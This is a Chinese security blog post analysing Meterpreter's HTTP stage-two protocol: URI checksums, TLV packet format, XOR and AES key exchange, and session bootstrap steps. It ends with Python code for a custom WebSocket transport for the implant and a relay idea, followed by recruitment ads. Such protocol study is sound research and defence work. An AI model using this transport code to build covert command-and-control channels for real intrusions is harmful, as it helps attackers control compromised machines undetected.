STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。

NO.1 前言

本篇文章涉及了Meterpreter的第二阶段HTTP传输方式（方便查看流量）的通信过程，TLV数据包的封包和解包，AES密钥的交换，其他传输方式的实现。

NO.2 初始化

在加载第二阶段时硬编码了第一个请求的URL，当请求第一个URL的时候在监听器lib/msf/core/handler/reverse_http.rb的on_request函数中调用了process_uri_resource处理PATH，返回URI的信息。

http://127.0.0.1:8080/HmQQ5Sve4PcQJAUwcLfQRQkhyq2vTdvO7e2STIAQOJl6YIiWO48_cPkPoRxW7f8ABYHEMS8fcWTG74qW_ptibmdJhq1QGHOkbhn5ExF6bwksG63LDdIQ1Z83b6erJqtJbWhnhzaudew8ystbbk0cKGi/

例如上面的URL的信息为：

[1] pry(# <# <Class:0x00007f31a8d18978>>)> info=> {:uri=>"HmQQ5Sve4PcQJAUwcLfQRQkhyq2vTdvO7e2STIAQOJl6YIiWO48_cPkPoRxW7f8ABYHEMS8fcWTG74qW_ptibmdJhq1QGHOkbhn5ExF6bwksG63LDdIQ1Z83b6erJqtJbWhnhzaudew8ystbbk0cKGi", :sum=>95, :uuid=>  # <Msf::Payload::UUID:0x00007f31a9276320   @arch="python",   @name=nil,   @platform="python",   @puid="\x1Ed\x10\xE5+\xDE\xE0\xF7",   @registered=false,   @timestamp=1621063951,   @xor1=16,   @xor2=36>, :mode=>:init_connect}

通过对PATH进行计算校验和得出sum为95，然后就根据对应关系获取当前这个请求在哪一个模式，从下面的代码中可以知道第一个请求得到的模式为URI_CHECKSUM_INIT_CONN，也就是新建第二阶段的会话，puid为PayloadUUID，可以在生成后门时自定义PayloadUUIDRaw并且设置PayloadUUIDTracking为True，上线时会校验puid，如果不对则忽略该请求，木马将不能上线。

# lib/rex/payloads/meterpreter/uri_checksum.rb
URI_CHECKSUM_INITW      = 92 # WindowsURI_CHECKSUM_INITN      = 92 # Native (same as Windows)URI_CHECKSUM_INITP      = 80 # PythonURI_CHECKSUM_INITJ      = 88 # JavaURI_CHECKSUM_CONN       = 98 # Existing sessionURI_CHECKSUM_INIT_CONN  = 95 # New stageless session
# Mapping between checksums and modesURI_CHECKSUM_MODES = Hash[URI_CHECKSUM_INITN,      :init_native,URI_CHECKSUM_INITP,      :init_python,URI_CHECKSUM_INITJ,      :init_java,URI_CHECKSUM_INIT_CONN,  :init_connect,URI_CHECKSUM_CONN,       :connect]

如果当前的模式不是URI_CHECKSUM_CONN（sum应该为98）则调用generate_uri_uuid重新生成第二次请求的URL。

如果当前的模式是URI_CHECKSUM_INIT_CONN，也就是第一次请求的时候，会将上面生成的第二次请求的URL封装进响应报文中，TLV数据包的封装在后面会介绍，现在可以理解为：返回让Meterpreter要做的事情是COMMAND_ID_CORE_PATCH_URL，修改第二次请求的URL，参数是conn_id，也就是上面重新生成的第二次请求的URL。

pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_URL)pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")resp.body = pkt.to_r

在调用pkt.to_r方法的时候将pkt加密了。

# lib/rex/post/meterpreter/packet.rb
def to_r(session_guid = nil, key = nil)    xor_key = (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr
    raw = (session_guid || NULL_GUID).dup    tlv_data = GroupTlv.instance_method(:to_r).bind(self).call
    if key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256)        # encrypt the data, but not include the length and type        iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1])        # now manually add the length/type/iv/ciphertext        raw << [key[:type], iv.length + ciphertext.length + HEADER_SIZE, self.type, iv, ciphertext].pack('NNNA*A*')    else        raw << [ENC_FLAG_NONE, tlv_data].pack('NA*')    end
    # return the xor'd result with the key    xor_key + xor_bytes(xor_key, raw)end

tlv_data是将上面返回给Meterpreter的指令和参数按照指定的字节顺序对齐方式打包的二进制数据，可以理解python中的struct.pack模块。

第一次还没有进行密钥交换，所以用的是异或加密，xor_key还放在异或加密后数据的前面32 bits。

响应报文中的前32 bits十六进制[46,06,b8,34]为xor_key

In [46]: xor_keyOut[46]: (70, 6, 184, 52)

异或解密后为完整的原始封包数据。

# lib/rex/post/meterpreter/packet.rbPACKET_XOR_KEY_SIZE = 4  # to_r异或加密后加上的随机4位数PACKET_SESSION_GUID_SIZE = 16 # 默认全是0，初始化完会调用core_set_session_guid设置PACKET_ENCRYPT_FLAG_SIZE = 4 # ENC_FLAG_NONE   = 0x0 ENC_FLAG_AES256 = 0x1 ENC_FLAG_AES128 = 0x2# 下面两个其实是TLV封包时加上的，放在to_r这有点误导人PACKET_LENGTH_SIZE = 4PACKET_TYPE_SIZE = 4
PACKET_HEADER_SIZE = (PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE + PACKET_ENCRYPT_FLAG_SIZE + PACKET_LENGTH_SIZE + PACKET_TYPE_SIZE) # 32

根据源码里的常量得到封包头部长度为32截出下面的数据，解析得到TLV封包的长度为145，上面说了PACKET_LENGTH_SIZE和PACKET_TYPE_SIZE是构造TVL是加进来的，所以会算的长度为137，加回来就对了。

下面解析TLV封包，红色框出来的是（Length）长度偏移，绿色框出来的是（Type）类型，最后蓝色框出来的（Value）值，因为前面的（长度偏移和类型都是32 bits）所以会先解析前面64 bits得到长度和类型，再根据得到的长度和类型去截取解析值，值的长度是不固定的，放在后面也比较合理。

以第一个个响应报文中的修改URL指令为例子，先对TLV封包前64 bits进行解析得到了值的偏移为12，类型为131073，查看对应关系可以知道131073对应的是TLV_TYPE_COMMAND_ID，类型为TLV_META_TYPE_UINT，所以在解析值的时候使用>I，得到值为：17，对应的指令为core_patch_url。

同理得到要修改URL的参数：

In [120]: struct.unpack(">II", raw[PACKET_HEADER_SIZE+12:][:8])Out[120]: (125, 65967)
In [121]:  raw[PACKET_HEADER_SIZE+12+8:][:125]Out[121]: b'/HmQQ5Sve4PcQJAUwcLud_wFg7pgICi0Jz-LqeFLbbMsY6Ng8slPEdL76nsS2xpJmO8Byf83uxYYZZdzifyRQwhwfo0IsXdB8OCuKIhCH1mgz4eZUej/\x00'
In [122]: str(raw[PACKET_HEADER_SIZE+12+8:][:125].split(NULL_BYTE, 1)[0])Out[122]: '/HmQQ5Sve4PcQJAUwcLud_wFg7pgICi0Jz-LqeFLbbMsY6Ng8slPEdL76nsS2xpJmO8Byf83uxYYZZdzifyRQwhwfo0IsXdB8OCuKIhCH1mgz4eZUej/'
In [123]: TLV_TYPE_TRANS_URLOut[123]: 65967

NO.3 TLV Packets 

(Type, Length, Value)

Metasploit和Meterpreter使用的传输方式有很多，但是传输的封包格式都是一样的，其数据包使用（类型，长度，值）TLV结构，通过这种方法可以生成任意长度的任意类型的值。

TLV封包结构

以第一个响应报文为例：

b'\x00\x00\x00\x0c\x00\x02\x00\x01\x00\x00\x00\x11\x00\x00\x00i\x00\x01\x01\xaf/HmQQ5Sve4PcQJAUwcITdrgWVPQE2FoQa6QGValIwBZRhDRh6FLWA9ePo4jOVNgBomJSxzM4mv8qSneHOnHM-oiCWp4kCY2/\x00'

分割后：

\x00\x00\x00\x0c\x00\x02\x00\x01\x00\x00\x00\x11
\x00\x00\x00i\x00\x01\x01\xaf/HmQQ5Sve4PcQJAUwcITdrgWVPQE2FoQa6QGValIwBZRhDRh6FLWA9ePo4jOVNgBomJSxzM4mv8qSneHOnHM-oiCWp4kCY2/\x00'

NO.4

通过修改请求的URL改变状态

第二次请求的URL是第一次响应里返回的那个要修改的URL，和第一次相同调用了process_uri_resource处理PATH，返回URI的信息，这次计算出来的模式为connect，开始调用create_session创建会话，将之后的请求交给HttpPacketDispatcher类中的on_passive_request处理。

创建会话时继承lib/msf/base/sessions/meterpreter.rb的Msf::Sessions::Meterpreter实例化session对象，完了再注册会话。

# 主体在lib/msf/base/sessions/meterpreter_multi.rbcreate_session(cli, {    :passive_dispatcher => self.service,    :dispatch_ext       => [Rex::Post::Meterpreter::HttpPacketDispatcher],    :conn_id            => conn_id,    :url                => url,    :expiration         => datastore['SessionExpirationTimeout'].to_i,    :comm_timeout       => datastore['SessionCommunicationTimeout'].to_i,    :retry_total        => datastore['SessionRetryTotal'].to_i,    :retry_wait         => datastore['SessionRetryWait'].to_i,    :ssl                => ssl?,    :payload_uuid       => uuid    })

在注册会话时调用bootstrap方法再调用negotiate_tlv_encryption交换密钥

def negotiate_tlv_encryption    sym_key = nil    rsa_key = OpenSSL::PKey::RSA.new(2048)    rsa_pub_key = rsa_key.public_key
    request  = Packet.create_request(COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION)    request.add_tlv(TLV_TYPE_RSA_PUB_KEY, rsa_pub_key.to_der)
    begin        response = client.send_request(request)        key_enc = response.get_tlv_value(TLV_TYPE_ENC_SYM_KEY)        key_type = response.get_tlv_value(TLV_TYPE_SYM_KEY_TYPE)
        if key_enc            sym_key = rsa_key.private_decrypt(key_enc, OpenSSL::PKey::RSA::PKCS1_PADDING)        else            sym_key = response.get_tlv_value(TLV_TYPE_SYM_KEY)        end    rescue OpenSSL::PKey::RSAError, Rex::Post::Meterpreter::RequestError        # 1) OpenSSL error may be due to padding issues (or something else)        # 2) Request error probably means the request isn't supported, so fallback to plain    end
    {        key:  sym_key,        type: key_type    }end

大概流程就是：Metasploit生成RSA公钥和算法类型发给客户端，客户端随机生成32位的aes_key，将aes_key用公钥加密后发给Metasploit控制端解密，之后的加解密都用这个aes_key作为密钥。

之后的操作顺序为：

core_machine_id # 获取硬盘名称和主机名core_set_session_guid # 重新设置session_guid，因为在加解密会用到session_guid，没设置之前全为0core_enumextcmd # 把当前的客户端支持的功能扩展返回给Metasploit控制端core_loadlib # 加载stdapi，这个可以在创建监听器是设置是否自动加载，上来就加载会调用系统的几个dll，很多杀软你懂得stdapi_fs_getwd # 获取当前运行目录stdapi_sys_config_getuid # 获取当前用户名stdapi_sys_config_sysinfo # 获取主机名，系统语言，系统架构，系统版本信息core_set_uuid # 设置PAYLOAD_UUIDstdapi_net_config_get_interfaces # 获取网卡信息stdapi_net_config_get_routes # 获取路由信息

上面的这些行为除了一些可以在创建监听器上设置开关，但是做的事情也有点多，顺序也是不变的。

最后就是轮询Metasploit控制端的指令队列，等待用户操作。

NO.5 自定义传输方式

既然已经知道了Meterpreter与Metasploit的通信封包结构和加解密方式，那我们可以实现数据的传输方式，比如WebSocket

参考：https://github.com/rapid7/metasploit-payloads/blob/master/python/meterpreter/meterpreter.py

只是修改传输方式可以直接继承Transport类，将_get_packet和_send_packet两个方法重写掉就可以了，都是发送和接受加密后的数据，不需要对数据做任何操作。

class WebSocketTransport(Transport):    def __init__(self, url):        super(WebSocketTransport, self).__init__()        opener_args = []        scheme = url.split(':', 1)[0]        self.url = url        self._first_packet = None        self._empty_cnt = 0        self.message_packet = queue.Queue()        self.ws = websocket.WebSocketApp(self.url, on_open=self.on_open, on_message=self.on_message,                                         on_ping=self.on_ping,                                         on_pong=self.on_pong)        self.ws_thread = threading.Thread(target=self.run_ws)        self.ws_thread.start()
    def on_open(self):        pass
    def run_ws(self):        self.ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE}, ping_interval=60, ping_timeout=10,                            ping_payload="This is an optional ping payload")
    def on_message(self, ws, message):        self.message_packet.put(message)
    def on_error(self, ws, error):        print("error", error)
    def on_close(self, ws):        print("### closed ### ")
    def on_ping(self, wsapp, message):        print("Got a ping!")
    def on_pong(self, wsapp, message):        print("Got a pong! No need to respond")
    def _get_packet(self):        if self._first_packet:            packet = self._first_packet            self._first_packet = None            return packet        packet = None        xor_key = None        try:            if self.message_packet.not_empty:                packet = self.message_packet.get()                if len(packet) < PACKET_HEADER_SIZE:                    packet = None  # looks corrupt                else:                    xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE])                    header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE])                    pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF + PACKET_LENGTH_SIZE])[                                     0] - 8                    if len(packet) != (pkt_length + PACKET_HEADER_SIZE):                        packet = None  # looks corrupt        except:            debug_traceback('[-] failure to receive packet from ' + self.url)            self.is_end = True
        if not packet:            self.communication_last = time.time()            delay = 100 * self._empty_cnt            self._empty_cnt += 1            time.sleep(float(min(10000, delay)) / 1000)            return packet
        self._empty_cnt = 0        return packet
    def _send_packet(self, packet):        self.ws.send(data=packet, opcode=ABNF.OPCODE_BINARY)

Metasploit中并没有支持WebSocket的传输方式，要添加可以在源码对着HttpPacketDispatcher抄一个，还有一个简单的方法是写一个中转器，在Metasploit本机开启一个WebSocket的服务，将客户端发送过来的数据转发到Metasploit监听的http端口上，Metasploit只要创建原来的HTTP传输方式的监听就可以了。

RECRUITMENT

招聘启事

安恒雷神众测SRC运营（实习生）
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作，保持用户活跃度，提高站点访问量；
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作，促进审核人员与白帽子之间友好协作沟通；
3.  参与策划、组织和落实针对白帽子的线下活动，如沙龙、发布会、技术交流论坛等；
4.  积极参与雷神众测的品牌推广工作，协助技术人员输出优质的技术文章；
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强，性格活泼，具备良好的人际交往能力；
 2.  对网络安全感兴趣，对行业有基本了解；
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 

[email protected]

设计师（实习生）

————————

简历投递至 

[email protected]

安全招聘

简历投递至

[email protected]

岗位：红队武器化Golang开发工程师

[email protected]

END

长按识别二维码关注我们